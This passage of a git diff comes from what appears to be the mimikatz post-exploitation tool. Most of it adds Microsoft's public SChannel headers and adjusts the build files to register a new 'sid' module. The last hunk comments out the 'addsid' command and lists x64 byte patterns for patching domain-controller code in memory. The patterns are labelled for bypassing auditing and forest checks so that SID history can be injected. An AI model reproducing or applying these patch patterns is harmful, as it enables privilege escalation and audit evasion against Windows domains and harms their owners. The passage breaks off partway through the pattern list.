WCHAR pwszStoreName[SCH_CRED_MAX_STORE_NAME_SIZE];
|
||||
} SCHANNEL_CERT_HASH_STORE, *PSCHANNEL_CERT_HASH_STORE;
|
||||
|
||||
// Values for SCHANNEL_CERT_HASH dwFlags field.
|
||||
#define SCH_MACHINE_CERT_HASH 0x00000001
|
||||
|
||||
|
||||
//+-------------------------------------------------------------------------
|
||||
// Flags for use with SCHANNEL_CRED
|
||||
//
|
||||
// SCH_CRED_NO_SYSTEM_MAPPER
|
||||
// This flag is intended for use by server applications only. If this
|
||||
// flag is set, then schannel does *not* attempt to map received client
|
||||
// certificate chains to an NT user account using the built-in system
|
||||
// certificate mapper.This flag is ignored by non-NT5 versions of
|
||||
// schannel.
|
||||
//
|
||||
// SCH_CRED_NO_SERVERNAME_CHECK
|
||||
// This flag is intended for use by client applications only. If this
|
||||
// flag is set, then when schannel validates the received server
|
||||
// certificate chain, is does *not* compare the passed in target name
|
||||
// with the subject name embedded in the certificate. This flag is
|
||||
// ignored by non-NT5 versions of schannel. This flag is also ignored
|
||||
// if the SCH_CRED_MANUAL_CRED_VALIDATION flag is set.
|
||||
//
|
||||
// SCH_CRED_MANUAL_CRED_VALIDATION
|
||||
// This flag is intended for use by client applications only. If this
|
||||
// flag is set, then schannel will *not* automatically attempt to
|
||||
// validate the received server certificate chain. This flag is
|
||||
// ignored by non-NT5 versions of schannel, but all client applications
|
||||
// that wish to validate the certificate chain themselves should
|
||||
// specify this flag, so that there's at least a chance they'll run
|
||||
// correctly on NT5.
|
||||
//
|
||||
// SCH_CRED_NO_DEFAULT_CREDS
|
||||
// This flag is intended for use by client applications only. If this
|
||||
// flag is set, and the server requests client authentication, then
|
||||
// schannel will *not* attempt to automatically acquire a suitable
|
||||
// default client certificate chain. This flag is ignored by non-NT5
|
||||
// versions of schannel, but all client applications that wish to
|
||||
// manually specify their certicate chains should specify this flag,
|
||||
// so that there's at least a chance they'll run correctly on NT5.
|
||||
//
|
||||
// SCH_CRED_AUTO_CRED_VALIDATION
|
||||
// This flag is the opposite of SCH_CRED_MANUAL_CRED_VALIDATION.
|
||||
// Conservatively written client applications will always specify one
|
||||
// flag or the other.
|
||||
//
|
||||
// SCH_CRED_USE_DEFAULT_CREDS
|
||||
// This flag is the opposite of SCH_CRED_NO_DEFAULT_CREDS.
|
||||
// Conservatively written client applications will always specify one
|
||||
// flag or the other.
|
||||
//
|
||||
// SCH_CRED_DISABLE_RECONNECTS
|
||||
// This flag is intended for use by server applications only. If this
|
||||
// flag is set, then full handshakes performed with this credential
|
||||
// will not be marked suitable for reconnects. A cache entry will still
|
||||
// be created, however, so the session can be made resumable later
|
||||
// via a call to ApplyControlToken.
|
||||
//
|
||||
//
|
||||
// SCH_CRED_REVOCATION_CHECK_END_CERT
|
||||
// SCH_CRED_REVOCATION_CHECK_CHAIN
|
||||
// SCH_CRED_REVOCATION_CHECK_CHAIN_EXCLUDE_ROOT
|
||||
// These flags specify that when schannel automatically validates a
|
||||
// received certificate chain, some or all of the certificates are to
|
||||
// be checked for revocation. Only one of these flags may be specified.
|
||||
// See the CertGetCertificateChain function. These flags are ignored by
|
||||
// non-NT5 versions of schannel.
|
||||
//
|
||||
// SCH_CRED_IGNORE_NO_REVOCATION_CHECK
|
||||
// SCH_CRED_IGNORE_REVOCATION_OFFLINE
|
||||
// These flags instruct schannel to ignore the
|
||||
// CRYPT_E_NO_REVOCATION_CHECK and CRYPT_E_REVOCATION_OFFLINE errors
|
||||
// respectively if they are encountered when attempting to check the
|
||||
// revocation status of a received certificate chain. These flags are
|
||||
// ignored if none of the above flags are set.
|
||||
//
|
||||
// SCH_CRED_CACHE_ONLY_URL_RETRIEVAL_ON_CREATE
|
||||
// This flag instructs schannel to pass CERT_CHAIN_CACHE_ONLY_URL_RETRIEVAL
|
||||
// flags to CertGetCertificateChain when validating the specified
|
||||
// credentials during a call to AcquireCredentialsHandle. The default for
|
||||
// vista is to not specify CERT_CHAIN_CACHE_ONLY_URL_RETRIEVAL. Use
|
||||
// SCH_CRED_CACHE_ONLY_URL_RETRIEVAL_ON_CREATE to override this behavior.
|
||||
// NOTE: Prior to Vista, this flag(CERT_CHAIN_CACHE_ONLY_URL_RETRIEVAL) was
|
||||
// specified by default.
|
||||
//
|
||||
// SCH_SEND_ROOT_CERT
|
||||
// This flag instructs schannel to send the root cert as part of the
|
||||
// certificate message.
|
||||
//+-------------------------------------------------------------------------
|
||||
#define SCH_CRED_NO_SYSTEM_MAPPER 0x00000002
|
||||
#define SCH_CRED_NO_SERVERNAME_CHECK 0x00000004
|
||||
#define SCH_CRED_MANUAL_CRED_VALIDATION 0x00000008
|
||||
#define SCH_CRED_NO_DEFAULT_CREDS 0x00000010
|
||||
#define SCH_CRED_AUTO_CRED_VALIDATION 0x00000020
|
||||
#define SCH_CRED_USE_DEFAULT_CREDS 0x00000040
|
||||
#define SCH_CRED_DISABLE_RECONNECTS 0x00000080
|
||||
|
||||
#define SCH_CRED_REVOCATION_CHECK_END_CERT 0x00000100
|
||||
#define SCH_CRED_REVOCATION_CHECK_CHAIN 0x00000200
|
||||
#define SCH_CRED_REVOCATION_CHECK_CHAIN_EXCLUDE_ROOT 0x00000400
|
||||
#define SCH_CRED_IGNORE_NO_REVOCATION_CHECK 0x00000800
|
||||
#define SCH_CRED_IGNORE_REVOCATION_OFFLINE 0x00001000
|
||||
|
||||
#define SCH_CRED_RESTRICTED_ROOTS 0x00002000
|
||||
#define SCH_CRED_REVOCATION_CHECK_CACHE_ONLY 0x00004000
|
||||
#define SCH_CRED_CACHE_ONLY_URL_RETRIEVAL 0x00008000
|
||||
|
||||
#define SCH_CRED_MEMORY_STORE_CERT 0x00010000
|
||||
|
||||
#define SCH_CRED_CACHE_ONLY_URL_RETRIEVAL_ON_CREATE 0x00020000
|
||||
|
||||
#define SCH_SEND_ROOT_CERT 0x00040000
|
||||
|
||||
//
|
||||
//
|
||||
// ApplyControlToken PkgParams types
|
||||
//
|
||||
// These identifiers are the DWORD types
|
||||
// to be passed into ApplyControlToken
|
||||
// through a PkgParams buffer.
|
||||
|
||||
#define SCHANNEL_RENEGOTIATE 0 // renegotiate a connection
|
||||
#define SCHANNEL_SHUTDOWN 1 // gracefully close down a connection
|
||||
#define SCHANNEL_ALERT 2 // build an error message
|
||||
#define SCHANNEL_SESSION 3 // session control
|
||||
|
||||
|
||||
// Alert token structure.
|
||||
typedef struct _SCHANNEL_ALERT_TOKEN
|
||||
{
|
||||
DWORD dwTokenType; // SCHANNEL_ALERT
|
||||
DWORD dwAlertType;
|
||||
DWORD dwAlertNumber;
|
||||
} SCHANNEL_ALERT_TOKEN;
|
||||
|
||||
// Alert types.
|
||||
#define TLS1_ALERT_WARNING 1
|
||||
#define TLS1_ALERT_FATAL 2
|
||||
|
||||
// Alert messages.
|
||||
#define TLS1_ALERT_CLOSE_NOTIFY 0 // warning
|
||||
#define TLS1_ALERT_UNEXPECTED_MESSAGE 10 // error
|
||||
#define TLS1_ALERT_BAD_RECORD_MAC 20 // error
|
||||
#define TLS1_ALERT_DECRYPTION_FAILED 21 // reserved
|
||||
#define TLS1_ALERT_RECORD_OVERFLOW 22 // error
|
||||
#define TLS1_ALERT_DECOMPRESSION_FAIL 30 // error
|
||||
#define TLS1_ALERT_HANDSHAKE_FAILURE 40 // error
|
||||
#define TLS1_ALERT_BAD_CERTIFICATE 42 // warning or error
|
||||
#define TLS1_ALERT_UNSUPPORTED_CERT 43 // warning or error
|
||||
#define TLS1_ALERT_CERTIFICATE_REVOKED 44 // warning or error
|
||||
#define TLS1_ALERT_CERTIFICATE_EXPIRED 45 // warning or error
|
||||
#define TLS1_ALERT_CERTIFICATE_UNKNOWN 46 // warning or error
|
||||
#define TLS1_ALERT_ILLEGAL_PARAMETER 47 // error
|
||||
#define TLS1_ALERT_UNKNOWN_CA 48 // error
|
||||
#define TLS1_ALERT_ACCESS_DENIED 49 // error
|
||||
#define TLS1_ALERT_DECODE_ERROR 50 // error
|
||||
#define TLS1_ALERT_DECRYPT_ERROR 51 // error
|
||||
#define TLS1_ALERT_EXPORT_RESTRICTION 60 // reserved
|
||||
#define TLS1_ALERT_PROTOCOL_VERSION 70 // error
|
||||
#define TLS1_ALERT_INSUFFIENT_SECURITY 71 // error
|
||||
#define TLS1_ALERT_INTERNAL_ERROR 80 // error
|
||||
#define TLS1_ALERT_USER_CANCELED 90 // warning or error
|
||||
#define TLS1_ALERT_NO_RENEGOTIATION 100 // warning
|
||||
#define TLS1_ALERT_UNSUPPORTED_EXT 110 // error
|
||||
|
||||
|
||||
// Session control flags
|
||||
#define SSL_SESSION_ENABLE_RECONNECTS 1
|
||||
#define SSL_SESSION_DISABLE_RECONNECTS 2
|
||||
|
||||
// Session control token structure.
|
||||
typedef struct _SCHANNEL_SESSION_TOKEN
|
||||
{
|
||||
DWORD dwTokenType; // SCHANNEL_SESSION
|
||||
DWORD dwFlags;
|
||||
} SCHANNEL_SESSION_TOKEN;
|
||||
|
||||
|
||||
typedef struct _SCHANNEL_CLIENT_SIGNATURE
|
||||
{
|
||||
DWORD cbLength;
|
||||
ALG_ID aiHash;
|
||||
DWORD cbHash;
|
||||
BYTE HashValue[36];
|
||||
BYTE CertThumbprint[20];
|
||||
} SCHANNEL_CLIENT_SIGNATURE, *PSCHANNEL_CLIENT_SIGNATURE;
|
||||
|
||||
|
||||
//
|
||||
// Flags for identifying the various different protocols.
|
||||
//
|
||||
|
||||
/* flag/identifiers for protocols we support */
|
||||
#define SP_PROT_PCT1_SERVER 0x00000001
|
||||
#define SP_PROT_PCT1_CLIENT 0x00000002
|
||||
#define SP_PROT_PCT1 (SP_PROT_PCT1_SERVER | SP_PROT_PCT1_CLIENT)
|
||||
|
||||
#define SP_PROT_SSL2_SERVER 0x00000004
|
||||
#define SP_PROT_SSL2_CLIENT 0x00000008
|
||||
#define SP_PROT_SSL2 (SP_PROT_SSL2_SERVER | SP_PROT_SSL2_CLIENT)
|
||||
|
||||
#define SP_PROT_SSL3_SERVER 0x00000010
|
||||
#define SP_PROT_SSL3_CLIENT 0x00000020
|
||||
#define SP_PROT_SSL3 (SP_PROT_SSL3_SERVER | SP_PROT_SSL3_CLIENT)
|
||||
|
||||
#define SP_PROT_TLS1_SERVER 0x00000040
|
||||
#define SP_PROT_TLS1_CLIENT 0x00000080
|
||||
#define SP_PROT_TLS1 (SP_PROT_TLS1_SERVER | SP_PROT_TLS1_CLIENT)
|
||||
|
||||
#define SP_PROT_SSL3TLS1_CLIENTS (SP_PROT_TLS1_CLIENT | SP_PROT_SSL3_CLIENT)
|
||||
#define SP_PROT_SSL3TLS1_SERVERS (SP_PROT_TLS1_SERVER | SP_PROT_SSL3_SERVER)
|
||||
#define SP_PROT_SSL3TLS1 (SP_PROT_SSL3 | SP_PROT_TLS1)
|
||||
|
||||
#define SP_PROT_UNI_SERVER 0x40000000
|
||||
#define SP_PROT_UNI_CLIENT 0x80000000
|
||||
#define SP_PROT_UNI (SP_PROT_UNI_SERVER | SP_PROT_UNI_CLIENT)
|
||||
|
||||
#define SP_PROT_ALL 0xffffffff
|
||||
#define SP_PROT_NONE 0
|
||||
#define SP_PROT_CLIENTS (SP_PROT_PCT1_CLIENT | SP_PROT_SSL2_CLIENT | SP_PROT_SSL3_CLIENT | SP_PROT_UNI_CLIENT | SP_PROT_TLS1_CLIENT)
|
||||
#define SP_PROT_SERVERS (SP_PROT_PCT1_SERVER | SP_PROT_SSL2_SERVER | SP_PROT_SSL3_SERVER | SP_PROT_UNI_SERVER | SP_PROT_TLS1_SERVER)
|
||||
|
||||
|
||||
#define SP_PROT_TLS1_0_SERVER SP_PROT_TLS1_SERVER
|
||||
#define SP_PROT_TLS1_0_CLIENT SP_PROT_TLS1_CLIENT
|
||||
#define SP_PROT_TLS1_0 (SP_PROT_TLS1_0_SERVER | \
|
||||
SP_PROT_TLS1_0_CLIENT)
|
||||
|
||||
#define SP_PROT_TLS1_1_SERVER 0x00000100
|
||||
#define SP_PROT_TLS1_1_CLIENT 0x00000200
|
||||
#define SP_PROT_TLS1_1 (SP_PROT_TLS1_1_SERVER | \
|
||||
SP_PROT_TLS1_1_CLIENT)
|
||||
|
||||
#define SP_PROT_TLS1_2_SERVER 0x00000400
|
||||
#define SP_PROT_TLS1_2_CLIENT 0x00000800
|
||||
#define SP_PROT_TLS1_2 (SP_PROT_TLS1_2_SERVER | \
|
||||
SP_PROT_TLS1_2_CLIENT)
|
||||
|
||||
#define SP_PROT_TLS1_1PLUS_SERVER (SP_PROT_TLS1_1_SERVER | \
|
||||
SP_PROT_TLS1_2_SERVER)
|
||||
#define SP_PROT_TLS1_1PLUS_CLIENT (SP_PROT_TLS1_1_CLIENT | \
|
||||
SP_PROT_TLS1_2_CLIENT)
|
||||
#define SP_PROT_TLS1_1PLUS (SP_PROT_TLS1_1PLUS_SERVER | \
|
||||
SP_PROT_TLS1_1PLUS_CLIENT)
|
||||
|
||||
#define SP_PROT_TLS1_X_SERVER (SP_PROT_TLS1_0_SERVER | \
|
||||
SP_PROT_TLS1_1_SERVER | \
|
||||
SP_PROT_TLS1_2_SERVER)
|
||||
#define SP_PROT_TLS1_X_CLIENT (SP_PROT_TLS1_0_CLIENT | \
|
||||
SP_PROT_TLS1_1_CLIENT | \
|
||||
SP_PROT_TLS1_2_CLIENT)
|
||||
#define SP_PROT_TLS1_X (SP_PROT_TLS1_X_SERVER | \
|
||||
SP_PROT_TLS1_X_CLIENT)
|
||||
|
||||
#define SP_PROT_SSL3TLS1_X_CLIENTS (SP_PROT_TLS1_X_CLIENT | \
|
||||
SP_PROT_SSL3_CLIENT)
|
||||
#define SP_PROT_SSL3TLS1_X_SERVERS (SP_PROT_TLS1_X_SERVER | \
|
||||
SP_PROT_SSL3_SERVER)
|
||||
#define SP_PROT_SSL3TLS1_X (SP_PROT_SSL3 | SP_PROT_TLS1_X)
|
||||
|
||||
#define SP_PROT_X_CLIENTS (SP_PROT_CLIENTS | \
|
||||
SP_PROT_TLS1_X_CLIENT)
|
||||
#define SP_PROT_X_SERVERS (SP_PROT_SERVERS | \
|
||||
SP_PROT_TLS1_X_SERVER)
|
||||
|
||||
//
|
||||
// Helper function used to flush the SSL session cache.
|
||||
//
|
||||
|
||||
typedef BOOL
|
||||
(WINAPI * SSL_EMPTY_CACHE_FN_A)(
|
||||
LPSTR pszTargetName,
|
||||
DWORD dwFlags);
|
||||
|
||||
BOOL
|
||||
WINAPI
|
||||
SslEmptyCacheA(__in LPSTR pszTargetName,
|
||||
__in DWORD dwFlags);
|
||||
|
||||
typedef BOOL
|
||||
(WINAPI * SSL_EMPTY_CACHE_FN_W)(
|
||||
LPWSTR pszTargetName,
|
||||
DWORD dwFlags);
|
||||
|
||||
BOOL
|
||||
WINAPI
|
||||
SslEmptyCacheW(__in LPWSTR pszTargetName,
|
||||
__in DWORD dwFlags);
|
||||
|
||||
#ifdef UNICODE
|
||||
#define SSL_EMPTY_CACHE_FN SSL_EMPTY_CACHE_FN_W
|
||||
#define SslEmptyCache SslEmptyCacheW
|
||||
#else
|
||||
#define SSL_EMPTY_CACHE_FN SSL_EMPTY_CACHE_FN_A
|
||||
#define SslEmptyCache SslEmptyCacheA
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
// Structures for compatability with the
|
||||
// NT 4.0 SP2 / IE 3.0 schannel interface, do
|
||||
// not use.
|
||||
|
||||
typedef struct _SSL_CREDENTIAL_CERTIFICATE {
|
||||
DWORD cbPrivateKey;
|
||||
PBYTE pPrivateKey;
|
||||
DWORD cbCertificate;
|
||||
PBYTE pCertificate;
|
||||
PSTR pszPassword;
|
||||
} SSL_CREDENTIAL_CERTIFICATE, * PSSL_CREDENTIAL_CERTIFICATE;
|
||||
|
||||
|
||||
|
||||
|
||||
// Structures for use with the
|
||||
// NT 4.0 SP3 Schannel interface,
|
||||
// do not use.
|
||||
#define SCHANNEL_SECRET_TYPE_CAPI 0x00000001
|
||||
#define SCHANNEL_SECRET_PRIVKEY 0x00000002
|
||||
#define SCH_CRED_X509_CERTCHAIN 0x00000001
|
||||
#define SCH_CRED_X509_CAPI 0x00000002
|
||||
#define SCH_CRED_CERT_CONTEXT 0x00000003
|
||||
|
||||
struct _HMAPPER;
|
||||
typedef struct _SCH_CRED
|
||||
{
|
||||
DWORD dwVersion; // always SCH_CRED_VERSION.
|
||||
DWORD cCreds; // Number of credentials.
|
||||
PVOID *paSecret; // Array of SCH_CRED_SECRET_* pointers
|
||||
PVOID *paPublic; // Array of SCH_CRED_PUBLIC_* pointers
|
||||
DWORD cMappers; // Number of credential mappers.
|
||||
struct _HMAPPER **aphMappers; // pointer to an array of pointers to credential mappers
|
||||
} SCH_CRED, * PSCH_CRED;
|
||||
|
||||
// Structures for use with the
|
||||
// NT 4.0 SP3 Schannel interface,
|
||||
// do not use.
|
||||
typedef struct _SCH_CRED_SECRET_CAPI
|
||||
{
|
||||
DWORD dwType; // SCHANNEL_SECRET_TYPE_CAPI
|
||||
HCRYPTPROV hProv; // credential secret information.
|
||||
|
||||
} SCH_CRED_SECRET_CAPI, * PSCH_CRED_SECRET_CAPI;
|
||||
|
||||
|
||||
// Structures for use with the
|
||||
// NT 4.0 SP3 Schannel interface,
|
||||
// do not use.
|
||||
typedef struct _SCH_CRED_SECRET_PRIVKEY
|
||||
{
|
||||
DWORD dwType; // SCHANNEL_SECRET_PRIVKEY
|
||||
PBYTE pPrivateKey; // Der encoded private key
|
||||
DWORD cbPrivateKey;
|
||||
PSTR pszPassword; // Password to crack the private key.
|
||||
|
||||
} SCH_CRED_SECRET_PRIVKEY, * PSCH_CRED_SECRET_PRIVKEY;
|
||||
|
||||
|
||||
// Structures for use with the
|
||||
// NT 4.0 SP3 Schannel interface,
|
||||
// do not use.
|
||||
typedef struct _SCH_CRED_PUBLIC_CERTCHAIN
|
||||
{
|
||||
DWORD dwType;
|
||||
DWORD cbCertChain;
|
||||
PBYTE pCertChain;
|
||||
} SCH_CRED_PUBLIC_CERTCHAIN, *PSCH_CRED_PUBLIC_CERTCHAIN;
|
||||
|
||||
|
||||
// Structures needed for Pre NT4.0 SP2 calls.
|
||||
typedef struct _PctPublicKey
|
||||
{
|
||||
DWORD Type;
|
||||
DWORD cbKey;
|
||||
UCHAR pKey[1];
|
||||
} PctPublicKey;
|
||||
|
||||
typedef struct _X509Certificate {
|
||||
DWORD Version;
|
||||
DWORD SerialNumber[4];
|
||||
ALG_ID SignatureAlgorithm;
|
||||
FILETIME ValidFrom;
|
||||
FILETIME ValidUntil;
|
||||
PSTR pszIssuer;
|
||||
PSTR pszSubject;
|
||||
PctPublicKey *pPublicKey;
|
||||
} X509Certificate, * PX509Certificate;
|
||||
|
||||
|
||||
|
||||
// Pre NT4.0 SP2 calls. Call CAPI1 or CAPI2
|
||||
// to get the same functionality instead.
|
||||
BOOL
|
||||
WINAPI
|
||||
SslGenerateKeyPair(
|
||||
PSSL_CREDENTIAL_CERTIFICATE pCerts,
|
||||
__in PSTR pszDN,
|
||||
__in PSTR pszPassword,
|
||||
DWORD Bits );
|
||||
|
||||
// Pre NT4.0 SP2 calls. Call CAPI1 or CAPI2
|
||||
// to get the same functionality instead.
|
||||
VOID
|
||||
WINAPI
|
||||
SslGenerateRandomBits(
|
||||
PUCHAR pRandomData,
|
||||
LONG cRandomData
|
||||
);
|
||||
|
||||
// Pre NT4.0 SP2 calls. Call CAPI1 or CAPI2
|
||||
// to get the same functionality instead.
|
||||
BOOL
|
||||
WINAPI
|
||||
SslCrackCertificate(
|
||||
PUCHAR pbCertificate,
|
||||
DWORD cbCertificate,
|
||||
DWORD dwFlags,
|
||||
PX509Certificate * ppCertificate
|
||||
);
|
||||
|
||||
// Pre NT4.0 SP2 calls. Call CAPI1 or CAPI2
|
||||
// to get the same functionality instead.
|
||||
VOID
|
||||
WINAPI
|
||||
SslFreeCertificate(
|
||||
PX509Certificate pCertificate
|
||||
);
|
||||
|
||||
DWORD
|
||||
WINAPI
|
||||
SslGetMaximumKeySize(
|
||||
DWORD Reserved );
|
||||
|
||||
BOOL
|
||||
WINAPI
|
||||
SslGetDefaultIssuers(
|
||||
PBYTE pbIssuers,
|
||||
DWORD *pcbIssuers);
|
||||
|
||||
#define SSL_CRACK_CERTIFICATE_NAME TEXT("SslCrackCertificate")
|
||||
#define SSL_FREE_CERTIFICATE_NAME TEXT("SslFreeCertificate")
|
||||
|
||||
// Pre NT4.0 SP2 calls. Call CAPI1 or CAPI2
|
||||
// to get the same functionality instead.
|
||||
typedef BOOL
|
||||
(WINAPI * SSL_CRACK_CERTIFICATE_FN)
|
||||
(
|
||||
PUCHAR pbCertificate,
|
||||
DWORD cbCertificate,
|
||||
BOOL VerifySignature,
|
||||
PX509Certificate * ppCertificate
|
||||
);
|
||||
|
||||
|
||||
// Pre NT4.0 SP2 calls. Call CAPI1 or CAPI2
|
||||
// to get the same functionality instead.
|
||||
typedef VOID
|
||||
(WINAPI * SSL_FREE_CERTIFICATE_FN)
|
||||
(
|
||||
PX509Certificate pCertificate
|
||||
);
|
||||
|
||||
|
||||
#endif //__SCHANNEL_H__
|
||||
|
27
inc/schnlsp.h
Normal file
27
inc/schnlsp.h
Normal file
@ -0,0 +1,27 @@
|
||||
//+---------------------------------------------------------------------------
|
||||
//
|
||||
// Microsoft Windows
|
||||
// Copyright (C) Microsoft Corporation, 1992-1999.
|
||||
//
|
||||
// File: schnlsp.h
|
||||
//
|
||||
// Contents: Public Definitions for SCHANNEL Security Provider
|
||||
//
|
||||
// Classes:
|
||||
//
|
||||
// Functions:
|
||||
//
|
||||
//----------------------------------------------------------------------------
|
||||
|
||||
#ifndef __SCHNLSP_H__
|
||||
#define __SCHNLSP_H__
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif
|
||||
|
||||
#include <schannel.h>
|
||||
|
||||
|
||||
#endif //__SCHNLSP_H__
|
||||
|
@ -16,8 +16,12 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "inc", "inc", "{282B4B77-BFF
|
||||
inc\globals.h = inc\globals.h
|
||||
inc\NTSecPKG.h = inc\NTSecPKG.h
|
||||
inc\PshPack8.h = inc\PshPack8.h
|
||||
inc\schannel.h = inc\schannel.h
|
||||
inc\schnlsp.h = inc\schnlsp.h
|
||||
inc\WDBGEXTS.H = inc\WDBGEXTS.H
|
||||
inc\WinBer.h = inc\WinBer.h
|
||||
inc\wincred.h = inc\wincred.h
|
||||
inc\Winldap.h = inc\Winldap.h
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "lib", "lib", "{294B51F3-90EF-4F0A-BB04-20321A513A4F}"
|
||||
|
@ -26,6 +26,7 @@ const KUHL_M * mimikatz_modules[] = {
|
||||
&kuhl_m_dpapi,
|
||||
&kuhl_m_busylight,
|
||||
&kuhl_m_sysenv,
|
||||
&kuhl_m_sid,
|
||||
};
|
||||
|
||||
int wmain(int argc, wchar_t * argv[])
|
||||
|
@ -27,6 +27,7 @@
|
||||
#include "modules/kuhl_m_kernel.h"
|
||||
#include "modules/kuhl_m_busylight.h"
|
||||
#include "modules/kuhl_m_sysenvvalue.h"
|
||||
#include "modules/kuhl_m_sid.h"
|
||||
|
||||
#include <io.h>
|
||||
#include <fcntl.h>
|
||||
|
@ -78,7 +78,7 @@
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;netapi32.lib;ntdsapi.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;advapi32.hash.lib;ntdll.min.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;netapi32.lib;ntdsapi.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AssemblyDebug>false</AssemblyDebug>
|
||||
<DataExecutionPrevention>true</DataExecutionPrevention>
|
||||
<LinkErrorReporting>NoErrorReport</LinkErrorReporting>
|
||||
@ -133,6 +133,7 @@
|
||||
<ClCompile Include="modules\kuhl_m_process.c" />
|
||||
<ClCompile Include="modules\kuhl_m_service.c" />
|
||||
<ClCompile Include="modules\kuhl_m_service_remote.c" />
|
||||
<ClCompile Include="modules\kuhl_m_sid.c" />
|
||||
<ClCompile Include="modules\kuhl_m_standard.c" />
|
||||
<ClCompile Include="modules\kuhl_m_sysenvvalue.c" />
|
||||
<ClCompile Include="modules\kuhl_m_token.c" />
|
||||
@ -205,6 +206,7 @@
|
||||
<ClInclude Include="modules\kuhl_m_process.h" />
|
||||
<ClInclude Include="modules\kuhl_m_service.h" />
|
||||
<ClInclude Include="modules\kuhl_m_service_remote.h" />
|
||||
<ClInclude Include="modules\kuhl_m_sid.h" />
|
||||
<ClInclude Include="modules\kuhl_m_standard.h" />
|
||||
<ClInclude Include="modules\kuhl_m_sysenvvalue.h" />
|
||||
<ClInclude Include="modules\kuhl_m_token.h" />
|
||||
|
@ -188,6 +188,9 @@
|
||||
<ClCompile Include="modules\kuhl_m_sysenvvalue.c">
|
||||
<Filter>local modules</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="modules\kuhl_m_sid.c">
|
||||
<Filter>local modules</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="mimikatz.h" />
|
||||
@ -401,6 +404,9 @@
|
||||
<ClInclude Include="modules\kuhl_m_sysenvvalue.h">
|
||||
<Filter>local modules</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="modules\kuhl_m_sid.h">
|
||||
<Filter>local modules</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="local modules">
|
||||
|
@ -11,9 +11,9 @@ const KUHL_M_C kuhl_m_c_misc[] = {
|
||||
{kuhl_m_misc_taskmgr, L"taskmgr", L"Task Manager (without DisableTaskMgr)"},
|
||||
{kuhl_m_misc_ncroutemon,L"ncroutemon", L"Juniper Network Connect (without route monitoring)"},
|
||||
{kuhl_m_misc_detours, L"detours", L"[experimental] Try to enumerate all modules with Detours-like hooks"},
|
||||
#ifdef _M_X64
|
||||
{kuhl_m_misc_addsid, L"addsid", NULL},
|
||||
#endif
|
||||
//#ifdef _M_X64
|
||||
// {kuhl_m_misc_addsid, L"addsid", NULL},
|
||||
//#endif
|
||||
{kuhl_m_misc_memssp, L"memssp", NULL},
|
||||
{kuhl_m_misc_skeleton, L"skeleton", NULL},
|
||||
{kuhl_m_misc_compressme,L"compressme", NULL},
|
||||
@ -224,230 +224,230 @@ BOOL kuhl_m_misc_generic_nogpo_patch(PCWSTR commandLine, PWSTR disableString, SI
|
||||
return status;
|
||||
}
|
||||
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_JMP[] = {0xeb};
|
||||
BYTE PTRN_6NOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
|
||||
|
||||
BYTE PTRN_WN64_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
|
||||
BYTE PTRN_WN64_1[] = {0xfa, 0x05, 0x1a, 0x01, 0xe9}; // VerifyAuditingEnabled
|
||||
BYTE PTRN_WN64_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24}; // VerifySrcAuditingEnabledAndGetFlatName
|
||||
BYTE PTRN_WN64_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x8c, 0x24, 0x88, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
|
||||
BYTE PTRN_WN64_4[] = {0x49, 0x8b, 0x48, 0x18, 0x48, 0x8b, 0x84, 0x24, 0x00, 0x04, 0x00, 0x00}; // fNullUuid
|
||||
BYTE PTRN_WN64_5[] = {0xc7, 0x44, 0x24, 0x74, 0x59, 0x07, 0x1a, 0x01, 0xe9}; // cmp r12
|
||||
BYTE PTRN_WN64_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
|
||||
BYTE PTRN_WN64_7[] = {0x8b, 0x84, 0x24, 0x6c, 0x01, 0x00, 0x00, 0x3d, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
|
||||
|
||||
BYTE PTRN_WN81_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
|
||||
BYTE PTRN_WN81_1[] = {0xc2, 0x05, 0x1a, 0x01, 0xe9}; // VerifyAuditingEnabled
|
||||
BYTE PTRN_WN81_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24, 0xc0/*, 0x00, 0x00, 0x00*/}; // VerifySrcAuditingEnabledAndGetFlatName
|
||||
BYTE PTRN_WN81_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x8c, 0x24, 0x60, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
|
||||
BYTE PTRN_WN81_4[] = {0x49, 0x8b, 0x48, 0x18, 0x48, 0x8b, 0x84, 0x24, 0x00, 0x04, 0x00, 0x00}; // fNullUuid
|
||||
BYTE PTRN_WN81_5[] = {0xc7, 0x44, 0x24, 0x74, 0x1c, 0x07, 0x1a, 0x01, 0xe9}; // cmp r12
|
||||
